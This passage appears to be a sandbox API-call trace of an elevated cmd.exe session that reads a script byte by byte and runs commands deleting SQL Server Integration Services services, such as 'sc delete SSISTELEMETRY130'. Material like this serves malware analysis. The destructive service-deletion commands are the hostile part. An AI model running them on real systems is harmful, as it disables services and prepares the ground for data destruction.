lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete MsDtsServer130\n\nce\n") returned 1 [0069.771] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.771] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.771] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete MsDtsServer130\n\nce\n") returned 1 [0069.771] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.771] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.771] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te MsDtsServer130\n\nce\n") returned 1 [0069.771] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.771] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.771] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e MsDtsServer130\n\nce\n") returned 1 [0069.771] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.772] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" MsDtsServer130\n\nce\n") returned 1 [0069.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.772] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="SsDtsServer130\n\nce\n") returned 1 [0069.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.772] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="SDtsServer130\n\nce\n") returned 1 [0069.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.772] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="ItsServer130\n\nce\n") returned 1 [0069.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.772] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="SsServer130\n\nce\n") returned 1 [0069.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.773] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="TServer130\n\nce\n") returned 1 [0069.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.773] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="Eerver130\n\nce\n") returned 1 [0069.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.773] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="Lrver130\n\nce\n") returned 1 [0069.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.773] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="Ever130\n\nce\n") returned 1 [0069.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.773] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="Mer130\n\nce\n") returned 1 [0069.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.773] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="Er130\n\nce\n") returned 1 [0069.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.774] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="T130\n\nce\n") returned 1 [0069.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.774] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="R30\n\nce\n") returned 1 [0069.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.774] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="Y0\n\nce\n") returned 1 [0069.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.774] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="1\n\nce\n") returned 1 [0069.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.775] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.775] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="3\nce\n") returned 1 [0069.775] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.775] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.775] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.775] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="0ce\n") returned 1 [0069.775] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.775] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.775] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.775] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="\ne\n") returned 1 [0069.775] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.775] GetFileType (hFile=0xb8) returned 0x3 [0069.775] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.775] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.776] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.776] GetFileType (hFile=0x120) returned 0x3 [0069.776] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SSISTELEMETRY130\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SSISTELEMETRY130\n", lpUsedDefaultChar=0x0) returned 28 [0069.776] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x1b, lpOverlapped=0x0) returned 1 [0069.776] GetProcessHeap () returned 0x4a0000 [0069.776] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c6630 [0069.776] GetProcessHeap () returned 0x4a0000 [0069.776] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c6630 | out: hHeap=0x4a0000) returned 1 [0069.776] GetProcessHeap () returned 0x4a0000 [0069.776] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0069.776] GetProcessHeap () returned 0x4a0000 [0069.776] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0069.776] GetProcessHeap () returned 0x4a0000 [0069.776] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x42) returned 0x4baa40 [0069.776] GetConsoleOutputCP () returned 0x1b5 [0069.776] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.776] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.777] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.777] GetProcessHeap () returned 0x4a0000 [0069.777] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0069.777] GetProcessHeap () returned 0x4a0000 [0069.777] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x48) returned 0x4baa90 [0069.777] GetProcessHeap () returned 0x4a0000 [0069.777] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0069.777] SetErrorMode (uMode=0x0) returned 0x1 [0069.777] SetErrorMode (uMode=0x1) returned 0x0 [0069.777] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0069.777] SetErrorMode (uMode=0x1) returned 0x1 [0069.777] GetProcessHeap () returned 0x4a0000 [0069.777] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0069.777] GetProcessHeap () returned 0x4a0000 [0069.777] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0069.777] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0069.777] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0069.778] GetProcessHeap () returned 0x4a0000 [0069.778] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0069.778] GetProcessHeap () returned 0x4a0000 [0069.778] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0069.778] GetProcessHeap () returned 0x4a0000 [0069.778] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0069.778] GetProcessHeap () returned 0x4a0000 [0069.778] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0069.778] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.778] GetProcessHeap () returned 0x4a0000 [0069.778] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0069.778] GetProcessHeap () returned 0x4a0000 [0069.778] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0069.778] GetProcessHeap () returned 0x4a0000 [0069.778] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0069.778] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.778] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.778] GetLastError () returned 0x2 [0069.778] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.779] GetLastError () returned 0x2 [0069.779] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.779] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.779] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.779] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.779] GetLastError () returned 0x2 [0069.779] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.779] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.779] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0069.780] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0069.780] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.780] GetProcessHeap () returned 0x4a0000 [0069.780] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0069.780] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.780] GetProcessHeap () returned 0x4a0000 [0069.780] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xae) returned 0x4b9180 [0069.780] GetProcessHeap () returned 0x4a0000 [0069.780] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xae [0069.780] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SSISTELEMETRY130") returned 1 [0069.781] GetProcessHeap () returned 0x4a0000 [0069.781] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0069.781] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0069.781] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0069.781] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0069.781] GetProcessHeap () returned 0x4a0000 [0069.781] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0069.781] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.782] _wcsnicmp 